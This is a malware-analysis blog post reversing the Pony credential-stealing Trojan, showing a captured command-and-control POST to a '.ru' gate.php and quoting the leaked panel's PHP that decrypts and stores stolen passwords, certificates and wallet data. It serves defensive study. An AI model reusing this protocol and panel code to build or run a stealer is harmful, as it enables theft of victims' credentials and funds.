Malware analysis

Reversing the Pony Trojan part II

SecRat
December 9, 2015 by
SecRat

Pony is a stealer Trojan and has been active for quite a while now. It was responsible for stealing over $200,000 in bitcoins ( https://threatpost.com/latest-instance-of-pony-botnet-pilfers-200k-700k-credentials/104463/) . In this post, we will try to cover statically reversing the Pony Trojan.

Tools required:

  1. Vmware
  2. IDA Disassembler
  3. ollydbg Debugger
  4. Hex editor

If you haven't gone through Part I, we recommend you go through Part I before reading this.

In this post, we are going to examine the command and controls traffic and we are going to analyse statically the binary

Let's look at the pcap traffic

POST /gate.php HTTP/1.0

Host: titratresfi.ru

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 274

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

.....ql.H.l.W.*.F.udS]<...L....^.cF.;!....A5 v...<6.......D....Z.+.xld.{o.JFY`.D..Z....aP.}U...W..6..<NR.7@P.1..p5t.`......U

>..d.!..3..tHJ.J..I......g8...8.`..`.f...i..J..(r..MrnW...f.r.v[.......t.}...D`%}U...m...K.E.n..R&+.iD.:4...9.L....EnR...?.<...|.B...$o..

.../....AHTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Thu, 12 Nov 2015 15:35:16 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.4.41

.Z..O....&P..na..+..

This is a basic initialization request sent to the server and, apparently, it is encrypted. Let's look at the Pony panel source code to figure out what type of encryption it is using and how is can be decoded back

Looking at the source code of gat efor handing basic basic request we find out

It first checks if the size of greater than 12 and max_db_len_size . After that data is verified again a header in function verify_report_file_header() which tells us that it has a header as well .

Let's dig in to the source code of password_modules.php to find out.

We are able to locate the following functions responsible for verifying the packet header

public static function verify_new_file_header(&$data)

    {

        if (strlen($data) < 4)

            return false;

        $max_header_len = max(strlen(REPORT_HEADER), strlen(REPORT_PACKED_HEADER), strlen(REPORT_CRYPTED_HEADER));

        $rc4_key = substr($data, 0, 4);

        $encrypted_header = substr($data, 4, $max_header_len);

        $decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);

        return self::verify_old_file_header($decrypted_header);

    }

    public static function verify_old_file_header(&$data)

    {

        if ((substr($data, 0, strlen(REPORT_HEADER))) == REPORT_HEADER)

            return true;

        if ((substr($data, 0, strlen(REPORT_PACKED_HEADER))) == REPORT_PACKED_HEADER)

            return true;

        if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) == REPORT_CRYPTED_HEADER)

            return true;

        return false;

    }

    public static function verify_report_file_header(&$data)

    {

        return self::verify_new_file_header($data) || self::verify_old_file_header($data);

    }

It consists of two predefined headers new and old one and both of them are check consecutively.

Following are the defines for header magic keywords

define("REPORT_HEADER","PWDFILE0"); // each password report starts with this header

define("REPORT_PACKED_HEADER", "PKDFILE0"); // header indicating that report is packed

define("REPORT_CRYPTED_HEADER", "CRYPTED0"); // header indicating that report is encrypted

The maximum size of the header is 12 bytes, so twelve bytes after first 4 bytes always contains the header. First four bytes are used as rc4 key.

        $rc4_key = substr($data, 0, 4);

        $encrypted_header = substr($data, 4, $max_header_len);

        $decrypted_header = rc4Decrypt($rc4_key, $encrypted_header);

After decryption, another function is called to decrypt the rest of the report and check the integrity of the report. i.e. pre_decrypt_report()

    public static function pre_decrypt_report(&$data, $report_password = '')

    {

        if (self::verify_new_file_header($data))

        {

            self::rand_decrypt($data);

        }

        if ((substr($data, 0, strlen(REPORT_CRYPTED_HEADER))) != REPORT_CRYPTED_HEADER)

            return false;

        if (strlen($data) == 0)

        {

            return false;

        } else if (strlen($data) < 12) // length cannot be less than 12 bytes (8-byte header + crc32 checksum)

        {

            return false;

        } else if (strlen($data) > REPORT_LEN_LIMIT)

        {

            return false;

        } elseif (strlen($data) == 12) // empty report

            return false;

        // extract crc32 checksum from datastream

        $crc_chk = data_int32(substr($data, strlen($data)-4));

        // remove crc32 checksum from the encrypted data stream

        $encrypted_data = substr($data, 0, -4);

        // check report validness

        $crc_chk = obf_crc32($crc_chk);

        if ((int)crc32($encrypted_data) != (int)$crc_chk)

        {

            return false;

        }

        $decrypted_data = rc4Decrypt($report_password, substr($encrypted_data, 8));

        // there's another crc32 checksum available to verify the decryption process

        // extract crc32 checksum from decrypted datastream

        $crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data)-4));

        // remove crc32 checksum from the data stream

        $decrypted_data_check = substr($decrypted_data, 0, -4);

        // check report validness

        $crc_chk = obf_crc32($crc_chk);

        if ((int)crc32($decrypted_data_check) != (int)$crc_chk)

        {

            return false;

        }

        $data = $decrypted_data;

        return true;

    }

}

In this function, the header is verified again and 4 bytes value is extracted from the end of data stream. This value is used as a CRC32 check sum for the data crc32 check sum is removed and then integrity is calculated.

After successfully verifying the crc32 hash. This data chunk after first 8 bytes is decoded with a predefined rc4 key taken form the database $report_password

$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD);

Again crc32 check sum is extracted form the last 4 bytes of decrypted stream and is checked for integrity.

If it a type packed file then it is uncompressed with aplib . If it is a basic request, it is rc4 decrypted and parsed in a structure

            // process report

            ob_start(); // detect report processing noise

            error_reporting(E_ALL);

            $parse_result = $report->process_report($received_report_data,                     $pony_db_report_password);

            $ob_data = trim(ob_get_contents());

            error_reporting(0);

            ob_end_clean();

Before it checks if the report ID is already present in the system and if so it does not proceed with creating a new ID for the particular report.

It then proceeds filling up information from unencrypted data into the database, which is of the following format.

$pony_db->update_parsed_report($report_id, $report->report_os_name, $report->report_is_win64, $report->report_is_admin, $report->report_hwid, $report->report_version_id, $url_list_array, $report->log->log_lines, $report->cert_lines, $report->wallet_lines, $email_lines);

Let's now have a look how Pony tries to steal passwords. All the routines responsible for stealing stored credentials are stored in a pointer array:

let's look at a function responsible for stealing FFFTP passwords.

It first looks for encoded stored password in SoftwareSotaFFFTP registry key and after all the keys are found it will try to decode them using its own decoding algorithm

SecRat
SecRat

SecRat works at a start-up. He's interested in Windows Driver Programming.